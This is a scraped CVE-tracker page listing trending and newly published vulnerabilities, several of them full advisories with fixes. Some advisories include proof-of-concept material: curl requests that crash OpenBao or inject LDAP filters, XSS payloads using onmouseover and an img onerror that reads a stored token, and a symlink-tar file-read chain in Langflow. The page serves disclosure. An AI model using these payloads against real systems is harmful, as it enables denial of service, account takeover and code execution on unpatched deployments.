cvekit
LIVE

Trending CVEs

last 7d
  • The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, aka the "POODLE" issue.

    3.4
    1.00
    over 11 years ago
  • Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0, 2.12.3, and 2.3.1.

    5.9
    1.00
    over 4 years ago
  • Certain DNSSEC aspects of the DNS protocol (in RFC 4033, 4034, 4035, 6840, and related RFCs) allow remote attackers to cause a denial of service (CPU consumption) via one or more DNSSEC responses, aka the "KeyTrap" issue. One of the concerns is that, when there is a zone with many DNSKEY and RRSIG records, the protocol specification implies that an algorithm must evaluate all combinations of DNSKEY and RRSIG records.

    7.5
    1.00
    over 2 years ago
  • CVE-2017-7921CRITICALKEV

    An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.

    9.8
    1.00
    about 9 years ago
  • Affected versions of Atlassian Jira Server and Data Center allow remote attackers to read particular files via a path traversal vulnerability in the /WEB-INF/web.xml endpoint. The affected versions are before version 8.5.14, from version 8.6.0 before 8.13.6, and from version 8.14.0 before 8.16.1.

    5.3
    1.00
    almost 5 years ago
  • CVE-2024-23897CRITICALKEV

    Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

    9.8
    1.00
    over 2 years ago
  • CVE-2024-3400CRITICALKEV

    A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.

    10.0
    1.00
    about 2 years ago
  • CVE-2024-3273CRITICALKEV

    ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.

    9.8
    1.00
    about 2 years ago
  • A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

    8.2
    1.00
    over 2 years ago
  • CVE-2023-35082CRITICALKEV

    An authentication bypass vulnerability in Ivanti EPMM 11.10 and older, allows unauthorized users to access restricted functionality or resources of the application without proper authentication. This vulnerability is unique to CVE-2023-35078 announced earlier.

    9.8
    1.00
    almost 3 years ago
  • CVE-2024-21887CRITICALKEV

    A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

    9.1
    1.00
    over 2 years ago
  • CVE-2023-1671CRITICALKEV

    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

    9.8
    1.00
    about 3 years ago
  • CVE-2023-22518CRITICALKEV

    All versions of Confluence Data Center and Server are affected by this unexploited vulnerability. This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator leading to - but not limited to - full loss of confidentiality, integrity and availability.  Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.

    9.8
    1.00
    over 2 years ago
  • Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA  virtual server.

    7.5
    1.00
    over 2 years ago
  • The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023.

    7.5
    1.00
    over 2 years ago
  • Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0. The problem has been patched in Openfire release 4.7.5 and 4.6.8, and further improvements will be included in the yet-to-be released first version on the 4.8 branch (which is expected to be version 4.8.0). Users are advised to upgrade. If an Openfire upgrade isn’t available for a specific release, or isn’t quickly actionable, users may see the linked github advisory (GHSA-gw42-f939-fhvm) for mitigation advice.

    7.5
    1.00
    about 3 years ago
  • CVE-2023-35078CRITICALKEV

    An authentication bypass vulnerability in Ivanti EPMM allows unauthorized users to access restricted functionality or resources of the application without proper authentication.

    9.8
    1.00
    almost 3 years ago
  • TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.

    8.8
    1.00
    over 3 years ago
  • CVE-2023-27350CRITICALKEV

    This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.

    9.8
    1.00
    about 3 years ago
  • Fortra (formerly, HelpSystems) GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. This issue was patched in version 7.1.2.

    7.2
    1.00
    over 3 years ago
  • CVE-2022-26134CRITICALKEV

    In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.

    9.8
    1.00
    about 4 years ago
  • The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.

    7.5
    1.00
    about 12 years ago
  • CVE-2022-29464CRITICALKEV

    Certain WSO2 products allow unrestricted file upload with resultant remote code execution. The attacker must use a /fileupload endpoint with a Content-Disposition directory traversal sequence to reach a directory under the web root, such as a ../../../../repository/deployment/server/webapps directory. This affects WSO2 API Manager 2.2.0 up to 4.0.0, WSO2 Identity Server 5.2.0 up to 5.11.0, WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0 and 5.6.0, WSO2 Identity Server as Key Manager 5.3.0 up to 5.11.0, WSO2 Enterprise Integrator 6.2.0 up to 6.6.0, WSO2 Open Banking AM 1.4.0 up to 2.0.0 and WSO2 Open Banking KM 1.4.0, up to 2.0.0.

    9.8
    1.00
    about 4 years ago
  • CVE-2022-22954CRITICALKEV

    VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution.

    9.8
    1.00
    about 4 years ago
  • CVE-2012-1823CRITICALKEV

    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.

    9.8
    1.00
    about 14 years ago
  • CVE-2019-16920CRITICALKEV

    Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

    9.8
    1.00
    over 6 years ago
  • CVE-2013-2251CRITICALKEV

    Apache Struts 2.0.0 through 2.3.15 allows remote attackers to execute arbitrary OGNL expressions via a parameter with a crafted (1) action:, (2) redirect:, or (3) redirectAction: prefix.

    9.8
    1.00
    almost 13 years ago
  • CVE-2017-9841CRITICALKEV

    Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.

    9.8
    1.00
    almost 9 years ago
  • CVE-2015-1635CRITICALKEV

    HTTP.sys in Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote attackers to execute arbitrary code via crafted HTTP requests, aka "HTTP.sys Remote Code Execution Vulnerability."

    9.8
    1.00
    about 11 years ago
  • CVE-2014-6271CRITICALKEV

    GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

    9.8
    1.00
    over 11 years ago

Newest CVEs

by publish date
  • The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the view_page function in all versions up to, and including, 1.5.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). Successful exploitation requires an administrator to view or edit the poisoned form entry, at which point PHP's bracket parser reshapes the attacker-crafted JSON key to bypass the stored-path isset check and trigger deletion of the traversal-specified file.

    8.1
    about 7 hours ago
  • Crypt::OpenSSL::PKCS12 versions before 1.96 for Perl permits a heap OOB read in print_attribute UTF8STRING path. print_attribute() copies a UTF8STRING ASN.1 attribute value into a heap buffer sized exactly to its declared length via strncpy, leaving no NUL terminator. Downstream callers run strlen() on the result and pass the inflated length to newSVpvn(), copying attacker-influenced adjacent heap bytes into a Perl scalar.

    about 7 hours ago
  • The Branda plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.4.29. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.

    9.8
    about 9 hours ago
  • ### Description The `ux:install` console command installs files from a recipe kit by copying paths listed in a `copy-files` map. The only guard against malicious paths was `Path::isRelative()`, which returns `true` for paths like `../../../etc`. `Path::join()` then resolves the `..` segments without complaint, so the final path can escape the intended directory entirely. A crafted or compromised kit can therefore write attacker-controlled content to arbitrary locations on the developer's machine or CI runner. Because the copy operation creates missing parent directories and can overwrite existing files silently (with `--force` or in non-interactive environments), an attacker who controls a kit can overwrite files such as controllers, git hooks, or `.env` to achieve code execution. The source side of `copy-files` is symmetrically affected, enabling local file reads outside the recipe directory. ### Resolution The fix introduces an `Assert::pathDoesNotEscapeDirectory()` helper that rejects any `copy-files` source or destination path containing a `..` segment, regardless of whether `/` or `\` is used as the separator. This check is enforced in both `RecipeManifest` (which also guards the source Finder) and `File`. As a last line of defense, the installer re-verifies the fully resolved paths with `Path::isBasePath()` immediately before each filesystem read and write. ### Credits Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.

    7.8
    about 11 hours ago
  • ### Description The `ux_icon()` Twig function is marked `is_safe=['html']`, so Twig never escapes its output. `Icon::toHtml()` inlines the SVG source verbatim into the page. Browsers execute `<script>` elements and `on*` event-handler attributes found inside inline SVG, making any unsanitized icon a vector for cross-site scripting. Two code paths were affected. In the local file path, `Icon::fromFile()` only stripped `<script>` elements that were direct children of `<svg>`, leaving nested scripts and all `on*` attributes untouched despite a code comment claiming broader protection. In the Iconify on-demand path (enabled by default), the remote JSON `body` field was wrapped into an `Icon` object with no sanitization at all. Concrete attack vectors include a malicious SVG icon pack from a third-party theme or downloaded icon set, or a controlled Iconify endpoint configured via `iconify.endpoint` (including a poisoned cache). ### Resolution Introducing an `IconFactory` that centralizes sanitization across every icon source before an `Icon` object is created. The sanitizer removes script-capable elements (`script`, `foreignObject`, `iframe`, `object`, `embed`), SMIL animations targeting `on*`, `href`, or `xlink:href` attributes, CDATA sections, processing instructions, all `on*` attributes, and `javascript:`, `vbscript:`, and `data:text/html` URL schemes. `<style>` elements are kept for theming but have any handlers stripped. Icons that contain none of these constructs are byte-for-byte identical after sanitization. ### Credits Symfony would like to thank Pascal Cescon for reporting the issue and Hugo Alliaume for providing the fix.

    6.1
    about 11 hours ago
  • ### Impact Under concurrency, `CheckPermission` and `CheckBulkPermissions` can return `PERMISSIONSHIP_HAS_PERMISSION` for a (resource, permission, subject) whose correct answer is `PERMISSIONSHIP_CONDITIONAL_PERMISSION`. You are impacted if **all** of the following hold: 1. Your schema has a permission combining relations with an intersection or exclusion, where a subject reaches it through a caveated branch and a non-caveated branch. For example: ```zed definition user {} caveat some_caveat(somecondition int) { somecondition == 42 } definition document { relation reader: user | user with some_caveat relation writer: user relation banned: user permission has_permission = (reader & writer) - banned } ``` 2. A subject reaches the permission via the caveated edge: ``` document:firstdoc#reader@user:caveatedreader[some_caveat] document:firstdoc#writer@user:caveatedreader ``` 3. Your workload issues `LookupResources` with a `context` request parameter, concurrently with `CheckPermission/CheckBulkPermissions` for the same subject/resource, and 4. The dispatch result cache is enabled. When all of the above are true, there is an intermittent window in which: `CheckPermission(document:firstdoc, has_permission, user:caveatedreader)` → HAS_PERMISSION (incorrect; should be CONDITIONAL_PERMISSION) `CheckPermission(document:firstdoc, has_permission, user:caveatedreader, context = {"somecondition": 41})` → HAS_PERMISSION (incorrect; should be NO_PERMISSION) ### Patches v1.54.0 ### Workarounds Disable the dispatch result cache (`ClusterDispatchCacheConfig` and `DispatchCacheConfig`)

    3.7
    about 11 hours ago
  • On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

    6.5
    about 11 hours ago
  • ### Summary A user that is granted namespace management (`/sys/namespaces`) capabilities within a non-root namespace ("the victim namespace") can abuse special handling of the literal path `"root"` in namespace path canonicalization to manage the victim namespace itself. ### Details Several endpoints under `/sys/namespaces/*` accept a namespace path segment that is canonicalized and then appended to the path of the sys mount's containing namespace (set via path prefix or `X-Vault-Namespace` header) to determine the absolute path of the namespace to operate on. Given the special namespace path `"root"` canonicalizes to en empty path (`""`), when passed as `/sys/namespaces/root`, the resulting absolute namespace path remains equal to the sys mount's containing namespace. Given ACLs are evaluated before namespace path canonicalization, this allows users with capabilities on `/sys/namespaces/root` within any given namespace to operate on the namespace itself instead. ### Impact Users that were granted the required capabilities can abuse this vulnerability to: - Look up - Delete - Lock - Patch custom metadata against the namespace containing the system backend they can manage `sys/namespaces/root` in. The exact range of operations that can be performed depends on the specific capabilities granted on said path and any sub-paths such as `/api-lock`. Notably, the root namespace is immutable and cannot be modified, deleted or locked, and is thus unaffected. Also note that users can only abuse this vulnerability to operate on the direct parent or "containing" namespace relative to their capabilities, not arbitrary namespaces. ### Patch This will be fixed in OpenBao v2.5.5. ### PoC Start a development server: ```sh bao server -dev ``` Create a namespace: ```sh bao namespace create victim ``` This will be the namespace we gain unauthorized management of. Create a policy that allows management of namespaces, _inside_ of the victim namespace. ```sh bao policy write -namespace=victim namespace-management - <<EOF path "sys/namespaces/*" { capabilities = ["read", "update", "patch", "delete"] } EOF ``` Then create a token with above policy attached: ```sh export BAO_TOKEN=$(bao token create -namespace=victim -policy=namespace-management -field=token) ``` Operate on the victim's namespace using the token, for example by outright deleting it: ```sh bao namespace delete -namespace=victim root ```

    about 11 hours ago
  • ### Summary OpenBao users with access to the `sys/leases/revoke/:lease_id` endpoint in any namespace can revoke leases in any other namespace as long as the lease identifier is known to them, bypassing ACLs that should apply for cross-namespace revocations. ### Impact OpenBao's namespaces provide multi-tenant separation. A tenant who intentionally leaks lease identifiers can have their lease and underlying credential revoked by a user in another tenant. ### Patch This will be fixed in OpenBao v2.5.5. ### References This vulnerability is similar to but distinct from: - CVE-2026-45808 / GHSA-v8v8-cm84-m686 - CVE-2026-40264 / GHSA-p49j-v9wc-wg57

    about 11 hours ago
  • ## 1. Description ### Component `sdk/helper/ldaputil/client.go` — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs. ### Root Cause The LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`: ```go // Line 191 — UPN Domain path bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain) // Line 193 — User DN path bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN) ``` The problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `"`, `\`, `<`, `>`, and leading/trailing spaces. LDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\`, and NUL (`\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package. The irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function. ### Exploitation Mechanics ``` Username: alice)(objectClass=* ↓ EscapeLDAPValue (no-op — no DN special chars) alice)(objectClass=* ↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername) (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) ^^ injection point ``` The filter `(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to: - `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*` Since all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries. ### Preconditions - LDAP authentication backend must be configured - Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding - Attacker controls the `username` field at login time ## 2. Proof of Concept ```bash # Login with LDAP injection payload as username curl -k -X POST \ -H "Content-Type: application/json" \ -d '{ "username": "alice)(sAMAccountName=*", "password": "anything" }' \ https://localhost:8200/v1/auth/ldap/login/admin # LDAP filter constructed: # (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*)) # injection ──────────^ # The filter matches the first user with objectClass=user # If the LDAP server returns admin's entry first, the token # is bound to the admin entity, inheriting all admin policies ``` The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account. ## 3. Impact | Impact | Detail | |--------|--------| | **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity | | **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user | | **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance | **Likelihood: HIGH** — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`. ### Why This Is High Severity The LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account. ## 4. Remediation ### Primary Fix: Use ldap.EscapeFilter Replace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths: ```go import "github.com/go-ldap/ldap/v3" // Line 191 — UPN Domain path bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain) // Line 193 — User DN path bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN) ``` `EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`. ### Audit: All Call Sites Review all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context: ```bash grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/ ``` ### Defense-in-Depth - Apply the principle of least privilege to LDAP service accounts used by OpenBao - Use `UserFilter` with explicit attribute constraints to limit the search scope

    6.8
    about 11 hours ago
  • ### Summary With $wgEmbedVideoRequireConsent enabled (the default), the urls for videos are stored in a json-ified data attribute`data-mw-iframeconfig`. When given a malformed url or id, the data-mw-iframeconfig attribute can be escaped via single quotes, allowing for html/javascript injection. ### Details The sprintf [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedHtmlFormatter.php#L115-L120) adds the iframe config encoded as JSON [here](https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/AbstractEmbedService.php#L518). When given a malicious url or id with a single quote, the `$this->getUrl()` call returns an unescaped payload that terminates the data-mw-iframeconfig attribute and allows for injecting attributes, including handlers, into the figure element. The id regex for the `archiveorg` service and the url regexes for the `wistia` and `sharepoint` services allow for single quotes to be introduced. ### PoC A couple of examples across services ``` Input: <embedvideo service="archiveorg" id="x' onmouseover='alert(document.domain)' data-x='"></embedvideo> Renders: <figure class="embedvideo" data-service="archiveorg" data-mw-iframeconfig="{&quot;src&quot;:&quot;//archive.org/embed/x" onmouseover="alert(document.domain)" data-x="?autoplay=1&quot;}" style="width:640px"> <div class="embedvideo-wrapper" style="height:493px"><div class="embedvideo-consent" data-show-privacy-notice="1"> ... </div> </figure> ``` ``` Input: {{#ev:wistia|https://wistia.com/medias/x'onmouseover='alert(document.domain)'}} Renders: <figure class="embedvideo" data-service="wistia" data-mw-iframeconfig="{&quot;src&quot;:&quot;//fast.wistia.net/embed/iframe/x" onmouseover="alert(document.domain)" ?autoplay="1&quot;}'" style="width:640px"> <div class="embedvideo-wrapper" style="height:360px"><div class="embedvideo-consent" data-show-privacy-notice="1"> ... </div> </figure> ``` ``` {{#ev:sharepoint|https://a.sharepoint.com/sites/x'onmouseover='alert(document.domain)'.aspx}} ``` ### Impact Under the default $wgEmbedVideoRequireConsent = true configuration, any user able to edit a page can inject arbitrary JavaScript into an HTML event handler attribute (e.g. onfocus) via parameter. It requires no interaction (autofires via autofocus) and executes in the wiki origin for every visitor to the page.

    7.5
    about 11 hours ago
  • Capgo (Cap-go/capgo) before 12.128.2 contains an improper access control vulnerability in the SECURITY DEFINER PostgREST RPC function public.record_build_time, which is granted to the anon role and callable with only the public Supabase publishable (sb_publishable_*) anon key. An unauthenticated attacker can insert rows into public.build_logs for arbitrary organizations and, because the function uses ON CONFLICT (build_id, org_id) DO UPDATE, can overwrite existing usage/billing records by reusing the same build_id for a target org. This enables cross-tenant tampering of billing build logs and financial-impact denial of service by inflating billable build time.

    7.5
    about 11 hours ago
  • Cap-go before 12.128.2 contains an authentication logic flaw that lets an attacker register and control an account bound to a victim's email address before that email is verified. By enabling two-factor authentication on the pre-registered account, the attacker gains control over the account claimed under the victim's identity, allowing them to read and modify its state and enforce organization-level policies, while the legitimate user is denied access to the account tied to their own email.

    9.1
    about 11 hours ago
  • Capgo before 12.128.2 contains a flaw in the Enforce Password Policy feature: after a Super Admin enables the policy and successfully changes their password to a compliant one, the backend does not update the password-compliance state. As a result, the backend continues to treat the account as non-compliant and repeatedly forces password-reset prompts, permanently locking the Super Admin out of organization access (organization lockout / denial of service) despite valid authentication.

    4.9
    about 11 hours ago
  • Capgo before 12.128.2 contains a cross-tenant authorization bypass vulnerability in PostgREST endpoints that allows org-scoped read API keys to access other tenants' webhook secrets and delivery logs. Attackers can query the webhooks and webhook_deliveries endpoints to exfiltrate HMAC signing secrets and delivery payloads, enabling forged webhook events against victim organizations.

    6.5
    about 11 hours ago
  • Cap-go before 12.128.2 contains an authentication bypass vulnerability in OTP verification that allows attackers to bypass email verification by modifying server responses. Attackers can intercept OTP verification requests and manipulate HTTP responses to falsely mark verification successful, enabling unauthorized 2FA enablement and account takeover.

    9.4
    about 11 hours ago
  • ## Summary A Stored Cross-Site Scripting (XSS) issue previously existed in the Text Widget in Board of Outerbase Studio where unsanitized HTML could be rendered using `dangerouslySetInnerHTML` ### Steps to Reproduce 1. Create a new dashboard. 2. Add a **Text widget**. 3. Insert the following payload: ```html <img src=x onerror="alert('XSS Executed\nToken: ' + localStorage.getItem('ob-token'))"> ``` ### Architectural Context Outerbase Cloud and its backend services were discontinued in 2025. The current version of Outerbase Studio operates purely as a client-side application, with dashboard data stored locally in the browser. ### Impact In the current architecture, the impact is limited to local self-XSS within a user's browser session. The previously described scenarios involving: - authentication token theft - account takeover - database access are no longer applicable since there are no active backend services or authentication tokens. ### Remediation The unsafe HTML rendering in the Text Widget has been removed in commit https://github.com/outerbase/studio/commit/b06fb85e5967440278d5a815721b360920566ab9 by eliminating the use of dangerouslySetInnerHTML.

    4.4
    about 11 hours ago
  • ### Summary All components based on `BaseFileComponent` are vulnerable to the following vulnerability: 1. Docling (`DoclingInlineComponent`) 2. Docling Serve (`DoclingRemoteComponent`) 3. Read File (`FileComponent`) 4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`) 5. Video File (`VideoFileComponent`) 6. Unstructured API (`UnstructuredComponent`) For clarity, from now on I'll only refer to Read File component. The Read File node processes user-controlled files. Example scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations. By controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path. Using this vulnerability an attacker can acheive RCE: 1. Upload a file that directs the node to read Langflow's `secret_key` file containing the JWT token secret. 2. This would allow the attacker then to simply task the Chatbot for the JWT secret. 3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication. 4. Code execution is then trivial - simply create a new flow with "Python Interpreter" node, fill it with arbitrary Python code and execute it. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details The vulnerability is in: `langflow/src/lfx/src/lfx/base/data/base_file.py` Specifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink. This symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG. This can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios. Suggestd fix - iterate over the files and make sure all are regular files or directories. ### PoC Reproduction: 1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB. 2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file. 3. Compress this symlink with tar. 4. Upload it to the Read File component. 5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file. Concrete PoC: ------------ - Flow with RAG ingestion and a Chatbot around it: [Vector Store 